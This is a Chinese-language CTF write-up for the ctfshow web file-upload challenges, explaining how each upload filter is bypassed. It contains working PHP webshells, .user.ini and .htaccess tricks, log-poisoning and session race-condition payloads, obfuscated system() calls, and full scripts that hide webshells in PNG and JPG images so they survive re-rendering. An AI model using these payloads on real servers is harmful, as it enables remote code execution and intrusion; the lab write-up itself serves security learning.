ctfshow--web入门--文件上传
阅读原文时间:2023年08月14日阅读:1

ctfshow--web入门--文件上传

题目中提示前端检验不可靠,应该对前端检验进行绕过

检查前端代码进行修改,使php文件可以通过前端校验,成功上传后进行命令执行,找到flag

通过前端校验后上传php文件显示文件类型不合规

尝试抓包修改content-type,根据数据包回显得知上传成功。

访问后门文件代码执行得到flag

直接上传php文件显示文件类型不合规,尝试修改content-type上传不成功,上传php3

后缀服务器不能解析

尝试访问upload文件夹,发现upload文件夹有默认索引,具有index.php文件,那么可以利用.user.ini文件来进行上传

具体user.ini知识点参考.htaccess 和.user.ini 配置文件妙用

.user.ini文件其实就是一个局部配置文件,可以通过配置选项使每个php文件头或文件尾都进行文件包含

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾

通过.user.ini使得upload文件夹下每个php文件在文件头都包含1.png文件

构造图片马1.png进行上传,由于.user.ini使得upload下index.php包含所上传的图片马,直接访问index.php进行命令执行即可得到falg

大致步骤与153题一样。在上传的时候发现图片马上传不了,经过测试发现对图片内容中的php做了处理,那么在图片马中可以采用php其他风格得写法,如短标签等。具体可以参考PHP四种标记风格

同上

源码检测了php和[,采用短标记和大括号替代

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
    $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
        $ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
        if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && stripos($content,"[")===FALSE){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }

            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }

        }else{
            $ret = array("code"=>2,"msg"=>"文件类型不合规");
        }

    }

}

echo json_encode($ret);

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

上传.user.ini

在上传图片马得过程中,经过使用二分法对一句话木马的分析发现,后台代码对图片马内容中的关键字‘php’,'[]','{}'以及';'都进行了检测,这一关的性质就由文件上传转变为了任意代码执行,那么只好再次对木马文件进行伪装

<?= @eval(array_pop($_POST))?>

使用=短标签绕过php检测

@不提示报错信息

eval()把内容当作php语句执行

array_pop()将数组中最后一个元素取出并删除

使用$_POST接受任意变量

使用该文件并不能获取shell,只能通过POST提交数据进行代码执行

代码执行过程

得到flag方式与上题一致

通过执行命令

cp ../upload.php ../1.txt

将源码复制到1.txt得到源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
    $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
        $ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
        if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content)){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }

            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }

        }else{
            $ret = array("code"=>2,"msg"=>"文件类型不合规");
        }

    }

}
function check($str){
    return !preg_match('/pghp|\{|\[|\;|log/i', $str);
}
echo json_encode($ret);

源码中通过check()函数使用preg_match()函数用正则表达式检测文件内容中是否含有关键字'php''{''['';''log'

在上传.user.ini文件后,上传图片马时,经过二分法检测出后台代码增加了对'()'的检测

于是只能再次改变文件内容,使其包含nginx的日志文件,由于后台代码对关键字'log'也进行了过滤,因此文件构造为

<? include "/var/lo"."g/nginx/access.lo"."g"?>

上传后访问upload查看是否包含了日志文件,再构造UA头对日志文件中插入后门代码,再次查看成功插入后门代码

蚁剑连接得到flag

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
    $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
        $ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
        if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content)){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }

            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }

        }else{
            $ret = array("code"=>2,"msg"=>"文件类型不合规");
        }

    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(/i', $str);
}
echo json_encode($ret);

在上传.user.ini配置文件时,经过测试发现多了对空格的检测。

POC:

auto_prepend_file=1.png            .user.ini内容
<?=include"/var/lo"."g/nginx/access.l"."og"?>        1.png内容

其余操作与上一关一致,通过修改UA头将后门代码写入日志,然后连接后门

在上传.user.ini文件时,经过检测发现对文件头进行检测,所以在上传所有文件时都要加上图片格式的文件头

POC:

GIF89a
auto_prepend_file=1.png        .user.ini文件配置
GIF89a
<?=include"/var/lo"."g/nginx/access.l"."og"?>        1.png文件配置

其余利用方式与上一关一致

这一关是关于getimagesize函数绕过

在上传.user.ini文件时,经过检测发现对'.'进行了检测,那么只能采用包含session文件的方法

.user.ini文件内容为

GIF89a
auto_prepend_file=/tmp/sess_shell

这样可以跳过上传图片马作为包含文件的跳板,直接使upload下的index.php文件包含session文件

需要编写一个向目标地址发送POST请求创建session文件的文件上传网页

<!DOCTYPE html>
<html>
<body>
<form action="http://78c48379-27b6-4a04-ac10-07c787b030d4.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('tac ../f*')?>");?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

打开网页向目标地址发送数据包,并在数据包中构造session文件的文件名

将该POST数据包与访问upload目录的GET数据包进行条件竞争,访问upload的数据包长度发生变化即创建后门文件成功

连接后门即可拿到flag

这一关考察png图片二次渲染,经过上传图片后再次将图片下载下来经过对比,使用010editor发现经过了二次渲染,很多地方的数据都不一样了

所谓二次渲染,就是网站将用户所上传的文件,由于各种原因(适配网站显示,防止木马)等,将文件中的数据进行修改,
对二次渲染的绕过即将源文件与上传之后的文件进行对比,找出没有发生变化的数据位置,将后门代码插入没有发生变化的
数据的位置。对于绕过二次渲染,人工绕过几乎不可能,这就需要使用脚本来进行构建图片马。

某不知名佬写的代码,参考CTFSHOW-文件上传

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png');  //要修改的图片的路径

/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
//imagepng($img,'1.png');  要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php

?>
------------------------------------
           创建1.png图片成功!
------------------------------------

使用该脚本对图片进行重新修改,再次上传,发送GET和POST数据即可获得flag

这里考察jpg图片二次渲染绕过,同样需要用脚本构建jpg图片马

<?php
    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.
    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    Sergey Bobrov @Black2Fan.
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    */

    $miniPayload = '<?=eval($_POST[1]);?>';

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    str_repeat("\0",$nullbytePayloadSize) .
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream =
                        substr($outStream, 0, $startPos) .
                        $miniPayload .
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

使用方式需要安装php环境

php 脚本.php payload.jpg

构建jpg格式的图片马由于各种原因参考付杰博客成功率比较低,下面使一张成功率较高的图片

将原图片进行上传,再重新对其进行下载,经过浏览器的渲染之后,脚本插入后门代码成功率会更高。

将经过渲染之后的图片再使用脚本插入后门代码,重新上传即可进行代码执行或连接shell

这里经过测试发现上传点zip压缩文件上传,将木马文件修改后缀上传即可。

将访问文件的数据包抓取发现采用变量file,可能是文件包含,将数据包改为POST方法执行命令即可得到flag

经过测试上传文件必须为jpg后缀,通过题目提示httpd,尝试使用上传.htaccess文件进行绕过

AddType application/x-httpd-php .jpg    /将.jpg后缀文件当作php解析

将木马文件后缀改为jpj,content-type改为jpeg即可成功上传

经过测试发现,文件上传点将eval和system以及post和get过滤了

也可以使用反引号来进行命令执行,通过不断修改上传文件中的内容和不断访问该文件来获取flag

<?php echo `tac ../flagaa.php`;?>

还可以使用其他姿势来绕过

<?php
$a="s,y,s,t,e,m";
$b=explode(",",$a);        以','为分割符,将字符串拆分为数组
$c=$b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST['pass']);
?>


<?php
$a=substr("1sys",1)."tem";        返回字符串中第一位以后的字符串
$a($_REQUEST['pass']);
?>


$a=strrev("metsys");        反转字符串
$a($_REQUEST['pass'])
?>

参考文章:

CTFshow-WEB入门-文件上传(持续更新)

PHP数据接收变量$_GET、$_POST 、$_REQUEST区别

经过检测,后台对'<'进行了检测,那么所有的php代码就不能上传了,但是php文件依旧可也上传,我们可以上传一个php后缀的文件,然后使用上传.user.ini的方法来进行日志包含,然后构造UA头进行访问即可得到flag

  1. 前端校验,采用修改前端代码或禁用JS等
  2. content-type校验,修改数据包中content-type值
  3. 上传配置文件,修改配置进行上传
  4. 上传内容检测,通过二分法测试出检测内容,使用各种姿势进行绕过
  5. 文件头校验,在文件中添加符合上传规则的文件头
  6. 配合文件包含,使用包含日志和包含session文件
  7. 二次渲染使用脚本构建图片马配合文件包含进行上传

.htaccess 和.user.ini 配置文件妙用

PHP四种标记风格

CTFSHOW-文件上传

付杰博客

CTFshow-WEB入门-文件上传(持续更新)

PHP数据接收变量$_GET、$_POST 、$_REQUEST区别

官方write up 视频讲解

以上内容仅作学习,如有错误或瑕疵,欢迎各位大佬进行斧正,感谢阅读。